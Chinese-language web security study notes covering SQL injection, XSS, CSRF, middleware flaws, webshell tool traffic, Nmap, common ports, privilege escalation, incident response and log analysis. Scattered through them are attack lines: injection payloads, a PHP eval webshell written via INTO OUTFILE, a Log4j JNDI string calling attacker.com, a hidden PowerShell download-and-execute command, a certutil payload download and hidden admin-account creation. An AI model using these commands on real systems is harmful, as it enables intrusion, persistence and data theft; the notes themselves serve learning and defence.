WEB方向学习笔记
一、漏洞与攻击技术
OWASP TOP10
OWASP 是开放式 Web 安全项目组织 2021 安全漏洞 Top10
A01:2021-权限控制失效
A02:2021-加密机制失效
A03:2021-注入式攻击
A04:2021-不安全设计
A05:2021-安全设定缺陷
A06:2021-危险或过旧的组件
A07:2021-认证及验证机制失效
A08:2021-软件及资料完整性失效
A09:2021-安全记录及监控失效
A10:2021-服务器端请求伪造(SSRF)
SQL注入
一般的手工注入步骤
1 and 1=1(有回显),1 and 1=2(回显错误)说明存在SQL注入
使用order by 判断字段数量,从order by 1开始。然后使用union select 或 group_concat
union select 1,2
1
2
3
4
查库:select schema_name from information_schema.schemata 或 database()
查表:select table_name from information_schema.tables where table_schema='security'
查列:select column_name from information_schema.columns where table_name='users'
查字段:select username,password from security.users
group_concat:concat函数时将指定查询到的结果拼接之后以一列的形式列举出来,多个数据之间用逗号隔开,但是各个数据之间没有间距,空格需要自己添加并用单引号括起来
group_concat(xxx) from xxx (和上方的格式类似)
SQL注入攻击手法
联合查询注入
通过
UNION SELECT合并查询结果,获取数据库信息。最常见的注入方式之一1’ union select 1,2,database() –+
报错注入
利用数据库报错信息回显数据。
floor()、extractvalue()、updatexml()、geometrycollection()、multipoint()、polygon()、multipolygon()、linestring()、multilinestring()、exp()
布尔盲注
根据页面返回的布尔值(真/假)推断数据(如
AND 1=1)。时间盲注
通过延时函数sleep()判断条件是否成立。
堆叠注入
执行多条SQL语句,两句代码以分号等方式隔开:select * from users where id=1;select 1,2,3;
文件读写
select ‘’ into outfile ‘/var/www/c.php’ –+
REGEXP 正则匹配
在 SQL 注入攻击中,攻击者可能会利用
REGEXP来绕过应用程序的安全检查或进行更复杂的查询。以下是一些可能的攻击方式:绕过身份验证: 攻击者可以尝试插入正则表达式,以匹配多个用户名或密码。例如,如果应用程序的 SQL 查询如下:
1
SELECT * FROM users WHERE username = '$username' AND password = '$password';
攻击者可能会输入:
1 2
username: 'admin' OR username REGEXP '.*' password: 'password'
这将导致查询返回所有用户,因为
REGEXP '.*'会匹配任何用户名。联合查询: 攻击者可以使用
REGEXP来构造联合查询,尝试获取其他表的数据。例如:1
SELECT * FROM users WHERE username REGEXP '.*' UNION SELECT * FROM admin';
这将尝试合并用户表和管理员表的结果。
利用PCRE绕过:union/‘+’a’1000001+’*/select
宽字节注入
运用 GBK 与 UTF-8 编码不同来绕过转义
二次注入
巧妙利用 update 等方式,用已有的数据进行注入
User-Agent 注入
Cookie 注入
10,11 两种其实只是个注入位置的区别而已,可以采用 Burp 或者直接 Curl 构造 payload 实现
Refer注入:Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。通俗的讲:需要向页面发送一个请求后,才会带上Reder字段。
过滤绕过
union 绕过,双写绕过,注释绕过等。常用绕过空格过滤的方法:/**/、()、%0a
万能密码
admin’ or ‘1’=’1 username = secpulse’=’ password = secpulse’=’ ffifdyop
SQL 防护
预编译
String sql="select id,no from user where id=?"; PreparedStatement ps=conn.prepareStatement(sql); ps.setInt(1,id); ps.executeQuery();采用了 PreparedStatement,就会将 sql 语句:”select id, no from user where id=?” 预先编译好也就是 SQL 引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该 sql 语句的语法结构了,因为语法分析已经完成了,而语法分析主要是分析 sql 命令,比如 select ,from ,where ,and, or ,order by 等等。 所以即使你后面输入了这些 sql 命令,也不会被当成 sql 命令来执行了,因为这些 sql 命令的执行,必须先的通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为 sql 命令来执行的,只会被当做字符串字面值参数。 所以 sql 语句预编译可以防御 sql 注入。
PDO
也是一种预编译的方式,常用在 PHP 的数据库查询上,绑定的参数不需要使用引号,也可以有效防止注入
正则表达式过滤
实在不行,那就自己写过滤!
MySQL Getshell
原理:利用
SELECT ... INTO OUTFILE写入Webshell。条件:需
secure_file_priv权限允许文件写入,且已知Web目录路径。示例:
1
SELECT "<?php @eval($_POST['cmd']);?>" INTO OUTFILE '/var/www/html/shell.php';
SQLMap使用
自动化检测SQL注入(sqlmap -u "http://example.com?id=1")。
查表:sqlmap -u /?id=1 -current-db
查表:sqlmap -u /?id=1 -D security -tables
查列:sqlmap -u /?id=1 -D security -T users -columns
查字段: sqlmap -u /?id=1 -D security -T users -C flag -dump
XSS
- 反射型(非持久化):反射型 XSS 只是简单地把用户输入的数据 “反射” 给浏览器。也就是说,黑客往往需要诱使用户点击一个恶意链接,才能攻击成功
- 存储型(持久化):用户提交的数据会被存储在后端(不管是数据库、内存还是文件系统等),当攻击者提交的包含有 XSS 攻击的代码被存储在后端中,其他用户访问该页面的时候,后端会将数据取出来显示在页面上,这时候用户就会受到 XSS 攻击
- Dom-based 型:客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从 URL 中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、location.hash、location.search、document.referrer 等。
CSRF 攻击
CSRF 是跨站请求伪造攻击 一般来说,攻击者通过伪造用户的浏览器的请求,向访问一个用户自己曾经认证访问过的网站发送出去,使目标网站接收并误以为是用户的真实操作而去执行命令。常用于盗取账号、转账、发送虚假消息等。攻击者利用网站对请求的验证漏洞而实现这样的攻击行为,网站能够确认请求来源于用户的浏览器,却不能验证请求是否源于用户的真实意愿下的操作行为。
其中 Web A 为存在 CSRF 漏洞的网站,Web B 为攻击者构建的恶意网站,User C 为 Web A 网站的合法用户。
CSRF 攻击原理:
- 用户 C 打开浏览器,访问受信任网站 A,输入用户名和密码请求登录网站 A
- 在用户信息通过验证后,网站 A 产生 Cookie 信息并返回给浏览器,此时用户登录网站 A 成功,可以正常发送请求到网站 A
- 用户未退出网站 A 之前,在同一浏览器中,打开一个 TAB 页访问网站 B
- 网站 B 接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点 A
- 浏览器在接收到这些攻击性代码后,根据网站 B 的请求,在用户不知情的情况下携带 Cookie 信息,向网站 A 发出请求。网站 A 并不知道该请求其实是由 B 发起的,所以会根据用户 C 的 Cookie 信息以 C 的权限处理该请求,导致来自网站 B 的恶意代码被执行。
攻击范例
假设某银行网站 A 以 GET 请求来发起转账操作,转账的地址为
www.xxx.com/transfer.do?accountNum=l000l&money=10000
参数 accountNum 表示转账的账户,参数 money 表示转账金额。 而某大型论坛 B 上,一个恶意用户上传了一张图片,而图片的地址栏中填的并不是图片的地址,而是前而所说的砖账地址:
当你登录网站 A 后,没有及时登出,这时你访问了论坛 B,不幸的事情发生了,你会发现你的账号里面少了 10000 块… 为什么会这样呢,在你登录银行 A 时,你的浏览器端会生成银行 A 的 cookie,而当你访问论坛 B 的时候,页面上的标签需要浏览器发起一个新的 HTTP 请求,以获得图片资源,当浏览器发起请求时,请求的却是银行 A 的转账地址
www.xxx.com/transfer.do?accountNum=l000l&money=10000
并且会带上银行 A 的 cookie 信息,结果银行的服务器收到这个请求后,会以为是你发起的一次转账操作,因此你的账号里边便少了 10000 块。 当然,绝大多数网站都不会使用 GET 请求来进行数据更新,因此,攻击者也需要改变思路,与时俱进。 假设银行将其转账方式改成 POST 提交,而论坛 B 恰好又存在一个 XSS 漏洞,恶意用户在它的页面上植入如下代码:
var form = document.forms('auto');
form.submit();
如果你此时恰好登录了银行 A,且没有登出,当你打开上述页面后,脚本会将表单 aaa 提交,把 accountNum 和 money 参数传递给银行的转账地址
http://www.xxx.com/transfer.do
同样的,银行以为是你发起的一次转账会从你的账户中扣除 10000 块
常见利用
document.forms[0].submit();
CSRF 防御
- 尽量使用 POST
- 设置 HttpOnly
- 增加 Token
- 自定义 http 请求头
CSRF vs SSRF
1. 定义
CSRF:攻击者诱导用户在已认证的情况下向受害者网站发送请求,从而执行未授权的操作。攻击者利用用户的身份和权限来进行恶意操作。
SSRF:攻击者利用服务器向内部或外部资源发起请求,通常通过伪造请求的方式访问本不应被访问的资源。攻击者直接控制服务器发起请求。
2. 攻击目标
CSRF:目标是用户在网站上的身份,攻击者希望利用用户的权限进行操作(如转账、修改设置等)。
SSRF:目标是服务器本身,攻击者希望通过服务器访问内部服务、敏感数据或其他资源。
3. 攻击方式
CSRF:通常通过在恶意网站上嵌入请求(如表单、图像或脚本)来诱导用户点击,从而向受害者网站发送请求。
SSRF:攻击者通过提供恶意的 URL(例如在用户输入中)来诱导服务器发起请求,通常是通过 API 或其他服务。
4. 安全影响
CSRF:可能导致用户账户被攻击者控制,执行未授权的操作,影响用户数据和账户安全。
SSRF:可能导致服务器泄露内部信息、访问敏感服务,甚至在某些情况下可以导致远程代码执行或其他更严重的安全问题。
5. 防御措施
- CSRF:
- 使用 CSRF 令牌(Token)来验证请求的合法性。
- 检查请求来源(Referer)头部。
- 对敏感操作使用双重验证(如确认密码)。
- SSRF:
- 严格验证和过滤用户输入的 URL。
- 使用白名单策略限制可访问的地址和端口。
- 实施网络隔离,限制服务器对内部服务的访问。
总结
CSRF 和 SSRF 是两种不同类型的安全漏洞,分别针对用户身份和服务器本身。理解它们的区别和防御策略对于保护应用程序的安全至关重要。
常见的中间件漏洞
IIS,Apache,Nginx 是目前应用最广的三大 Web 服务器
IIS
IIS 是 Internet Information Services 的缩写,意为互联网信息服务,是由微软公司提供的基于运行 Microsoft Windows 的互联网基本服务
IIS 6 解析漏洞
基于文件名,该版本默认会将 *.asp;.jpg 此种格式的文件名,当成 Asp 解析,原理是服务器默认不解析;号及其后面的内容,相当于截断。
IIS 6 解析漏洞防护
- 限制上传目录执行权限,不允许执行脚本。
- 不允许新建目录。
- 上传的文件需经过重命名时间戳 + 随机数 +.jpg 等
Apache
AddHandler 导致的解析漏洞
如果运维人员给.php 后缀增加了处理器
1
AddHandler application/x-httpd-php.php
那么,在有多个后缀的情况下,只要一个文件名中含有.php 后缀,即被识别成 PHP 文件,没必要是最后一个后缀。 防护同上 IIS 6
Nginx
配置文件错误导致的解析漏洞
可以直接获取诸如
index.php~,index.php.bak等文件对于任意文件名,在后面添加 /xxx.php(xxx 为任意字符)后,即可将文件作为 php 解析。
1
https://api.hz2016.com/a.png/a.php
防护
- 匹配对应文件,rewrite 返回 404
- 配置 cgi.fix_pathinfo (php.ini 中) 为 0 并重启 php-cgi 程序
Tomcat
Tomcat 任意文件写入(CVE-2017-12615)
indows+Tomcat 7.0.x + 配置文件 readonly=false 导致我们可以往服务器写文件
Weblogic
任意文件上传漏洞(CVE-2018-2894)
通过截获上传的时间戳找出真正的文件名达到 poc
Vulhub
Vulhub 是一个基于 docker 和 docker-compose 的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。 Vulhub 官网
内网渗透思路
- 代理穿透
- 权限维持
- 内网信息收集
- 口令爆破
- 凭据窃取
- 社工
- 横行和纵向渗透
- 拿下域控
其他攻击
PHP命令执行函数
system(),exec(),shell_exec(),passthru(), 反引号(`)。
Java反序列化
- 原理:反序列化未验证的输入触发Gadget链(如Apache Commons Collections)。
DNS不出网绕过
- 协议转换:使用HTTP/ICMP隧道(如DNS over HTTPS)。
- 端口复用:复用已开放端口(如80/443)。
免杀Webshell
- 方法:代码混淆、加密(AES)、动态函数调用、内存马。
XXE(XML外部实体注入)
- 攻击:读取本地文件(
file:///etc/passwd)、SSRF。 - 防御:禁用外部实体解析。
1
DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
其他漏洞
Log4j漏洞(CVE-2021-44228)
- 原理:JNDI注入漏洞(CVE-2021-44228),通过日志触发远程类加载。
- Payload特征:
${jndi:ldap://attacker.com/exp},可能包含Base64编码。
Spring Boot RCE
- CVE-2022-22965:通过数据绑定修改
class.module属性触发恶意代码执行。 - CVE-2022-22963:Spring Cloud Function的SpEL表达式注入。
二、工具与流量特征
蚁剑 / 菜刀 / 冰蝎异同
相同:都是用来连接 Web Shell 的工具 不同:冰蝎有流量动态加密
菜刀
菜刀 webshell 只使用了 url 编码 + base64 编码 shell 特征就是传输参数名为 z0,还存在 int_set (“display_erros”,”0″) 字符串特征
蚁剑
默认的蚁剑 shell,连接时会请求两次,其请求体只是经过 url 编码,其流量中也存在和蚁剑一样的代码 第一次请求,关闭报错和 magic_quotes,接下来去获取主机的信息 第二次请求,会把主机目录列出来
冰蝎 2.0
使用 aes 加密发起三次请求 第一次请求服务端产生密钥写入 session,session 和当前会话绑定,不同的客户端的密钥也是不同的 第二次请求是为了获取 key,第三次使用 key 的 aes 加密进行通信
冰蝎 3.0
使用 aes 加密发起两次请求 3.0 分析流量发现相比 2.0 少了动态密钥的获取的请求,不再使用随机生成 key,改为取连接密码的 md5 加密值的前 16 位作为密钥 一次请求为判断是否可以建立连接,少了俩次 get 获取冰蝎动态密钥的行为,第二次发送 phpinfo 等代码执行,获取网站的信息
哥斯拉
支持 n 种加密 采用了和冰蝎 3.0 一样的密钥交换方式,哥斯拉建立连接时会发起三次请求,第一次请求数据超级长,建立 session,第二三次请求确认连接
Burp 模块
- Dashboard (仪表盘)
- Target (目标)
- Proxy (代理)
- Intruder (侵入) 也就是爆破
- Repeater (重放)
- Sequencer (序列器)
- Decoder (解码器)
- Comparer (比较)
- Extender (扩展)
- Project options (项目选项)
- Options (用户选项)
Nmap 工具使用
Nmap 是主机扫描工具,他的图形化界面是 Zenmap,分布式框架为 Dnamp。 Nmap 可以完成以下任务: 主机探测、端口扫描、版本检测、系统检测 支持探测脚本的编写 Nmap 在实际中应用场合如下:
- 通过对设备或者防火墙的探测来审计它的安全性
- 探测目标主机所开放的端口
- 通过识别新的服务器审计网络的安全性
- 探测网络上的主机
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#扫描基础指令
-sT: TCP (全)连接扫描,准确但留下大量日志记录
-sS: TCP SYN (半)扫描,速度较快,不会留下日志
-sN: null 扫描,标志位全为 0,不适用 Windows
-sF: FIN 扫描,标志位 FIN=1,不适用 Windows
-O: 查看目标主机系统版本
-sV: 探测服务版本
-A: 全面扫描
#主机发现
-sL: List Scan 列表扫描,仅将指定的目标的IP列举出来,不进行主机发现。
-sn: Ping Scan 只进行主机发现,不进行端口扫描。
-Pn: 将所有指定的主机视作开启的,跳过主机发现的过程。
-PS/PA/PU/PY[portlist]: 使用TCPSYN/ACK或SCTP INIT/ECHO方式进行发现。
-PE/PP/PM: 使用ICMP echo, timestamp, and netmask 请求包发现主机。
-PO[protocollist]: 使用IP协议包探测对方主机是否开启。
-n/-R: -n表示不进行DNS解析;-R表示总是进行DNS解析。
--dns-servers : 指定DNS服务器。
--system-dns: 指定使用系统的DNS服务器
--traceroute: 追踪每个路由节点 版本侦测的
#版本侦测
-sV: 指定让Nmap进行版本侦测
--version-intensity : 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。
--version-light: 指定使用轻量侦测方式 (intensity 2)
--version-all: 尝试使用所有的probes进行侦测 (intensity 9)
三、协议与端口
数据库及类型
在数据库领域,数据库可以分为两大类:关系型数据库和非关系型数据库。下面对这两类数据库及其示例进行详细解释。
关系型数据库
关系型数据库(RDBMS)使用结构化查询语言(SQL)来管理和操作数据,数据以表格的形式存储,表与表之间通过外键建立关系。关系型数据库适合于需要复杂查询和事务处理的应用场景。
- MySQL
- 端口: 3306
- 特点: 开源、跨平台,支持事务、ACID(原子性、一致性、隔离性、持久性)特性,广泛应用于Web应用程序。
- SQL Server
- 端口: 1433
- 特点: 由微软开发,支持丰富的功能,如数据分析、商业智能、报表等,适合于企业级应用。
- Oracle
- 端口: 1521
- 特点: 强大的企业级数据库,支持高可用性、数据安全和性能优化,常用于大型企业和关键任务应用。
- DB2
- 端口: 5000
- 特点: IBM 开发的数据库,支持多种数据格式和复杂查询,适用于大规模数据处理和分析。
非关系型数据库
非关系型数据库(NoSQL)不使用传统的表格结构,而是采用灵活的数据模型,适合于处理大规模、非结构化或半结构化的数据。它们通常支持更高的可扩展性和灵活性。
- MongoDB
- 端口: 27017
- 特点: 文档导向的数据库,数据以 BSON 格式存储(类似 JSON),灵活的数据模型使得它非常适合动态变化的数据结构。支持复杂查询,但不如关系型数据库强大。
- Redis
- 端口: 6379
- 特点: 内存数据结构存储,支持字符串、哈希、列表、集合等多种数据类型,主要用于缓存、实时分析和高性能数据存储。
- Memcached
- 端口: 11211
- 特点: 高性能的分布式内存对象缓存系统,主要用于加速动态Web应用程序,通过减轻数据库负载来提高性能。
总结
- 关系型数据库适合需要复杂查询、事务处理和数据一致性的场景,数据结构严格且定义明确。
- 非关系型数据库则更灵活,适合处理大规模、非结构化的数据,能够快速适应变化的需求。
选择使用哪种类型的数据库,通常取决于具体的应用需求、数据特性和性能要求。
正向代理和反向代理的区别
正向代理
正向代理类似跳板,通过正向代理机器访问外部互联网,如果正向代理机器在海外,可以连接 GFW 外部互联网
1
客户端<==>正向代理机器<==>互联网
正向代理可以收集用户上网信息,进行权限认证等
反向代理
反向代理类似镜像,实现对服务的转发,实际上对外相当于一台服务器
1
客户端<==>反向代理机器<==>目标机器
反向代理能有效分隔内网机器,防止攻击或者进行负载均衡
正向 SHELL 和反向 SHELL 的区别
正向 Shell:
攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于公网的情况。
反向 Shell:
被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况。
常见端口
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
21 ftp ftp的端口号20、21的区别一个是数据端口,一个是控制端口,控制端口一般为21
69 TFTP (简单文件传输协议)
22 SSH
23 Telnet
80 web
80-89 web
443 https
445 SMB ms17-010永恒之蓝攻击的端口
873 Rsync未授权 rsync是一种用于Unix/Linux系统的文件传输和同步工具。
1433 MSSQL
1521 Oracle
3306 MySQL
3389 远程桌面
5432 PostgreSQL
5900 vnc 目前常用的远程桌面协议有VNC/SPICE/RDP三种、小巧,支持客户端和服务器端的直接拷贝粘贴,缺点:速度最慢
6379 redis未授权 内存数据库
7001,7002 WebLogic默认弱口令,反序列 Java EE 应用服务器
8080 tomcat/WDCP主机管理系统,默认弱口令
8080,8089,9090 JBOSS (Java EE 应用服务器)
Jboss通常占用的端口是1098,1099,4444,4445,8080,8009,8083,8093这几个,
默认端口是8080
在windows系统中:
1098、1099、4444、4445、8083端口在/jboss/server/default/conf/jboss-service.xml中
8080端口在/jboss/server/default/deploy/jboss-web.deployer/server.xml中
8093端口在/jboss/server/default/deploy/jms/uil2-service.xml中。
8000-9090 都是一些常见的web端口
27017,27018 Mongodb未授权访问
28017 mongodb统计页面
50070,50030 hadoop默认端口未授权访问
161 SNMP
389 LDAP
512,513,514 Rexec
1025,111 NFS
2082/2083 cpanel主机管理系统登陆 (国外用较多)
2222 DA虚拟主机管理系统登陆 (国外用较多)
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
3312/3311 kangle主机管理系统登陆
4440 rundeck(自动化运维工具) 参考WooYun: 借用新浪某服务成功漫游新浪内网
5984 CouchDB(NoSQL数据库) http://xxx:5984/_utils/
6082 varnish(HTTP反向代理缓存服务器) 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
7778 Kloxo主机控制面板登录
8083 Vestacp主机管理系统 (国外用较多)
8649 ganglia
8888 amh/LuManager 主机管理系统默认端口
9200,9300 elasticsearch(搜索和分析引擎) 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache(缓存系统)未授权访问
50000 SAP命令执行
三次握手与四次挥手
背景:TCP 位于传输层,作用是提供可靠的字节流服务,为了准确无误地将数据送达目的地,TCP 协议采纳三次握手四次挥手策略
三次握手(three-way handshaking)
TCP 三次握手,其实就是 TCP 应用在发送数据前,通过 TCP 协议跟通信对方协商好连接信息,建立起 TCP 的连接关系
- 第一次握手:客户端发送 SYN 报文,并进入 SYN-SENT 状态,等待服务器的确认
- 第二次握手:服务器收到 SYN 报文,需要给客户端发送 ACK 确认报文,同时服务器也要向客户端发送一个 SYN 报文,所以也就是向客户端发送 SYN + ACK 报文,此时服务器进入 SYN-RCVD 状态
- 第三次握手:客户端收到 SYN + ACK 报文,向服务器发送确认包,客户端进入 ESTABLISHED 状态。待服务器收到客户端发送的 ACK 包也会进入 ESTABLISHED 状态,完成三次握手
四次挥手(Four-Way-Wavehand)
当我们的应用程序不需要数据通信了,就会发起断开 TCP 连接。建立一个连接需要三次握手,而终止一个连接需要经过四次挥手
- 第一次挥手:客户端发送一个 FIN,用来关闭客户端到服务端的数据传送,客户端进入 FIN_WAIT_1 状态
- 第二次挥手:服务端收到 FIN 后,发送一个 ACK 给客户端,确认序号为收到序号 +1(与 SYN 相同,一个 FIN 占用一个序号),服务端进入 CLOSE-WAIT 状态
- 第三次挥手:服务端发送一个 FIN,用来关闭服务端到 客户端的数据传送,服务端进入 LAST-ACK 状态
- 第四次挥手:客户端收到 FIN 后,客户端进入 TIME_WAIT 状态,接着发送一个 ACK 给服务端,确认序号为收到序号 +1,服务端进入 CLOSED 状态,完成四次挥手
四、系统与命令
Windows 基础命令
type 显示文本内容 type 1.txt dir 显示当前目录内容
/b 显示文件夹或文件的名字 /s 显示指定目录和所有子目录中的文件
列出当前目录及其子目录中的所有文件和文件夹:
dir /s /b列出特定目录中的所有文件和文件夹:
dir C:\Users\YourUsername\Documents /s /b列出特定类型的文件(例如所有
.txt文件):dir C:\Users\YourUsername\Documents\*.txt /s /b
- 是通配符,可以代表任意字符串
del 删除文件 ipconfig 查看IP地址 ipconfig /all 查看所有ip配置信息 net user 查看用户 net user ad 查看用户权限 ad为用户名 net user username password /add username 和password为你要添加的账号和密码 net user username$ password /add 隐藏用户 net user username /del 删除 或者username$ 删除隐藏 net localgroup administrators username /add username为要添加管理员组别的用户 net localgroup administrators 查看所有用户包括隐藏 query user || qwinsta 查看管理员是否在线 tasklist /svc | find “Ter”,查找 TermService 的 PID netstat -ano | find “1592”,查看 TermService 使用的端口,如示例中的 3389 powershell -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://192.168.0.1/powershell.txt’))” powershell 隐藏执行下载脚本 certutil.exe -urlcache -split -f “文件下载地址” d:\test.exe 将文件下载到d盘命名为test.exe Certutil.exe是作为证书服务的一部分安装的命令行程序。 我们可以使用此工具在目标计算机上执行恶意EXE文件
Windows 提权类型与方法
类型
纵向提权:低权限角色获得高权限角色的权限 横向提权:获取同级别角色的权
方法
- 系统内核溢出漏洞提权
- 数据库提权
- 错误的系统配置提权
- 组策略首选项提权
- WEB 中间件漏洞提权
- DLL 劫持提权
- 滥用高危权限令牌提权
- 第三方软件 / 服务提权等
Linux 防火墙及应急处理
service iptables status # 查看防火墙状态 service iptables start #开启防火墙 service iptables stop #关闭防火墙 service iptables restart #重启防火墙
查看用户组
cat /etc/passwd #可以查看所有用户的列表 w #可以查看当前活跃的用户列表 cat /etc/group #查看用户组 groups #查看当前登录用户的组内成员 groups test #查看test用户所在的组,以及组内成员 whoami #查看当前登录用户名
查看进程
其中, -A:显示所有进程 a:显示终端中包括其它用户的所有进程 x:显示无控制终端的进程
#查看所有进程
ps aux | less ps -A ps -e #任务:查看非root运行的进程 ps -U root -u root -N #任务:查看用户vivek运行的进程 ps -u vivek #top命令提供了运行中系统的动态实时视图。在命令提示行中输入top: top #进程树 ps -ejH ps axjf #获得线程信息 ps -eLf ps axms #获得安全信息 ps -eo euser,ruser,suser,fuser,f,comm,label ps axZ ps -eM
Linux 端口查看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#lsof -i:端口号查看某个端口的占用情况
lsof -i:8000
#更多lsof
lsof -i:8080:查看8080端口占用
lsof abc.txt:显示开启文件abc.txt的进程
lsof -c abc:显示abc进程现在打开的文件
lsof -c -p 1234:列出进程号为1234的进程所打开的文件
lsof -g gid:显示归属gid的进程情况
lsof +d /usr/local/:显示目录下被进程开启的文件
lsof +D /usr/local/:同上,但是会搜索目录下的目录,时间较长
lsof -d 4:显示使用fd为4的进程
lsof -i -U:显示所有打开的端口和UNIX domain文件
#netstat -tunlp 用于显示 tcp,udp 的端口和进程等相关情况。
netstat -tunlp | grep 端口号
netstat -ntlp #查看当前所有tcp端口
netstat -ntulp | grep 80 #查看所有80端口使用情况
netstat -ntulp | grep 3306 #查看所有3306端口使用情况
Linux 提权
Linux 内核漏洞提权
SUID 提权(普通用户执行指令的标记)
1
find / -perm -u=s -type f 2>/dev/null
查找 SUID 为 root 的指令
根据得到的命令去查表:https://gtfobins.github.io/
假设通过上面的三条命令中的任意一条找到了find是具有suid权限的,在上面的网址里搜索find即可
环境变量劫持高权限程序
sudoer(用户组)配置文件错误提权
pkexec 本地权限提升漏洞 (CVE-2021-4034)
HTTP特征
判断服务器类型
- HTTP头:
Server: Apache/2.4.41。 - 文件后缀:
.aspx(IIS)、.jsp(Tomcat)。 - 报错信息:PHP错误提示、Java堆栈跟踪。
五、防御与响应
应急响应流程
准备阶段
和客户确认事件背景、相关负责人联系方式、确定参与此次应急响应人员、根据客户描述,初步判定事件响应策略,携带应急响应工具包前往客户现场。
检测阶段
检测阶段确认入侵事件是否发生,如真发生了入侵事件,评估造成的危害(比如说判断是信息泄露还是被写码了)、范围以及发展的速度,事件会不会进一步升级
抑制阶段
本阶段主要任务是通过事件分析查明事件危害的方式,并且给出清除危害的解决方案 系统基本信息、网络排查、进程排查、注册表排查、计划任务排查、服务排查、关键目录排查、用户组排查、事件日志排查、webshell 排查、中间件日志排查、安全设备日志排查
恢复阶段
把受影响系统、设备、软件和应用服务还原到正常的工作状态 常见手段:系统重装、补丁加固、网络恢复、密码重置、木马清除等。
跟踪阶段
调查事件原因,输出应急响应报告,提供安全建议、加强安全教育、避免同类事件
Wireshark 简单的过滤规则
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#源ip
ip.src==1.1.1.1
#目的ip
ip.dst==1.1.1.1
#过滤80端口
tcp.port==80
#源端口
tcp.srcport==80
#目的端
tcp.dstport==80
#协议过滤:直接输入协议名即可,如 http 协议
http
#http 模式过滤:过滤 get/post 包
httprequest.mothod=="GET/POST"
常见取证分析工具
wireshark(流量包)、xplico、volatility(内存取证)、fastlr collector、autopsy、dumolt、ftk lmager、foremost、scalpel、bulik_exetractor
日志分析
常见日志文件位置
- IIS
- Windows Server 2003 iis6 日志路径:
- C:\Windows\System32\LogFiles
- Windows Server 2008 R2、2012、2016、2019 iis7 以上日志路径:
- C:\inetpub\logs\LogFiles
- Apache
- Apache+Windows
- D:\xampp\apache\logs\access.log
- Apache+Linux
- /var/log/apache/access.log
- /var/log/apache2/access.log
- /var/log/httpd/access.log
- nginx
- /usr/local/nginx/logs
- 常见格式内容
- 访问的主机 IP
- 请求时间
- 请求方法、请求的 URL、采用的协议
- HTTP 状态码
日志分析技巧
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1、列出当天访问次数最多的IP命令:
cut -d- -f 1 log_file|uniq -c | sort -rn | head -20
2、查看当天有多少个IP访问:
awk '{print $1}' log_file|sort|uniq|wc -l
3、查看某一个页面被访问的次数:
grep "/index.php" log_file | wc -l
4、查看每一个IP访问了多少个页面:
awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file
5、将每个IP访问的页面数进行从小到大排序:
awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n
6、查看某一个IP访问了哪些页面:
grep ^111.111.111.111 log_file| awk '{print $1,$7}'
7、去掉搜索引擎统计当天的页面:
awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' |sort | uniq | wc -l
8、查看2018年6月21日14时这一个小时内有多少IP访问:
awk '{print $4,$1}' log_file | grep 21/Jun/2018:14 | awk '{print $2}'| sort | uniq | wc -l
9、统计爬虫
grep -E 'Googlebot|Baiduspider' /www/logs/access.2019-02-23.log | awk '{ print $1 }' | sort | uniq
10、统计浏览器
cat /www/logs/access.2019-02-23.log | grep -v -E 'MSIE|Firefox|Chrome|Opera|Safari|Gecko|Maxthon' | sort | uniq -c | sort -r -n | head -n 100
11、IP统计
grep '23/May/2019' /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -r -n | head -n 10
12、统计网段
cat /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3".0"}' | sort | uniq -c | sort -r -n | head -n 200
13、统计域名
cat /www/logs/access.2019-02-23.log |awk '{print $2}'|sort|uniq -c|sort -rn|more
14、 统计URL
cat /www/logs/access.2019-02-23.log |awk '{print $7}'|sort|uniq -c|sort -rn|more
15、URL访问量统计
cat /www/logs/access.2019-02-23.log | awk '{print $7}' | egrep '\?|&' | sort | uniq -c | sort -rn | more
Docker 及相关应用
Docker是容器开发、部署和运行应用程序的平台。Docker可以把一个应用所有环境打包成一个容器,方便迁移和复用。
那 Docker 究竟有哪些好处呢?除去之前说的环境的配置
- 基于 Linux 的 cgroup 运行(现在大部分开源 OJ 所使用的代码执行方式)
- 直接运行在宿主机,不用类似 KVM 一样的模拟(容器不是虚拟机)
- 有轻量级隔离,也可以实现容器与宿主机的资源共享(网络不是隔离的)
- 不需要硬件的支持,不需要模拟硬件(虚拟机需要 CPU 虚拟化支持)
- 进程级的模拟,更快的启动速度以及更少的资源占用
